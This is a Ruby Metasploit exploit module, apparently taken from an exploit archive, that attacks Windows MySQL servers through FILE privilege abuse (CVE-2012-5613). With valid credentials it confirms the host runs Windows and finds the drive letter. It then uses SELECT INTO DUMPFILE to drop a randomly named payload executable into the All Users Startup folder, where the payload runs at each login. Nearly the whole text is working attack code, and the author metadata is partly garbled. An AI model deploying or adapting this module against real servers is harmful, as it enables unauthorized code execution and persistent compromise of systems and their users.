## # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse', 'Description' => %q{ This module takes advantage of a file privilege misconfiguration problem specifically against Windows MySQL servers. This module abuses the FILE privilege to write a payload to Microsoft's All Users Start Up directory which will execute every time a user logs in. The default All Users Start Up directory used by the module is Windows 7 friendly. }, 'Author' => [ 'sinn3r', 'Sean Verity { 'DisablePayloadHandler' => 'true' }, 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-5613'], #DISPUTED ['OSVDB', '88118'], ['EDB', '23083'], ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] ], 'Platform' => 'win', 'Targets' => [ [ 'MySQL on Windows', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 01 2012' )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as']), OptString.new('PASSWORD', [ true, 'The password to authenticate with']), OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/']) ]) end def check m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) return Exploit::CheckCode::Safe unless m return Exploit::CheckCode::Appears if is_windows? Exploit::CheckCode::Safe end def peer "#{rhost}:#{rport}" end def query(q) rows = [] begin res = mysql_query(q) return rows unless res res.each_hash do |row| rows << row end rescue RbMysql::ParseError return rows end rows end def is_windows? r = query("SELECT @@version_compile_os;") r[0]['@@version_compile_os'] =~ /^Win/ ? true : false end def get_drive_letter r = query("SELECT @@tmpdir;") drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' drive end def upload_file(bin, dest) p = bin.unpack("H*")[0] query("SELECT 0x#{p} into DUMPFILE '#{dest}'") end def exploit unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/') fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/") end print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") begin m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) rescue RbMysql::AccessDeniedError fail_with(Failure::NoAccess, "#{peer} - Access denied") end fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m unless is_windows? fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows") end begin drive = get_drive_letter rescue RbMysql::ParseError fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") end fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive exe_name = Rex::Text::rand_text_alpha(5) + ".exe" dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}" exe = generate_payload_exe print_status("#{peer} - Uploading to '#{dest}'") begin upload_file(exe, dest) rescue RbMysql::AccessDeniedError fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)") end register_file_for_cleanup("#{dest}") end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-01-13]